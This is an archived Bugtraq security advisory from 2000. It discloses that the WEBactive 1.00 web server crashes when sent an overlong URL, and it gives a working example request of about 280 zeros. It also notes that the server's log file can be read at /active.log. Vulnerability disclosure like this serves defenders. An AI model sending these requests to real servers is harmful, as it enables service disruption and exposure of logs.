Bugtraq mailing list archives

Lame DoS in WEBactive win65/NT server


From: prizm () RESENTMENT ORG (Prizm)
Date: Thu, 13 Jul 2000 01:27:38 -800


I was looking for a small server to download recently to show one of
my friends something I had made and later I messed about with this
little program a bit and noticed some DoS bug. I have enclodes a .txt
file on the problem in it. Not a big deal, very un-used product.

-Prizm


Application: ITAfrica's WebACTIVE version 1.00
Problem Type: Denial of Service
Author: Prizm<Prizm () RESENTMENT org>
Platform(s): Windows 95/98/NT
Vendor Status: Not Informed, Project discontinued(I think)
Download URL: ftp://ftp.mira.net/mirrors/winsock-l/Windows95/Daemons/HTTPD/activ100.zip

Product Description
-------------------
    WEBactive HTTP Server 1.00 is an HTTP/1.00-compliant World Wide Web server daemon for
    Windows 95 or Windows NT, specifically designed for the SOHO (Small Office/Home)
    environment. It will operate on any TCP/IP connection to the Internet, whether via temporary
    dial-up or permanent leased-line connectivity.

Problem
-------

The problem is with bounds checking, when you request 280 characters Webactiv.exe just shuts down.

Quick Example:

http://somedomain/0000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000

*Also* by simply requesting /active.log, you can view the webserver log, because active.log is
       the default logfile name and the default directory is where that file is stored.

Vendor Status
-------------

Heh, this server was discontinued as far as I see... it is rather dated and doesn't support much.
Seeing as it was last revised in 1996, i think contacting the vendor would be rather meaningless... Also the fact that 
it is HTTP/1.00-compliant kind of hints it is no longer being updated.

Greetings
---------

Lamagra, Scrippie, eth0, Cruciphux/HWA and many others...


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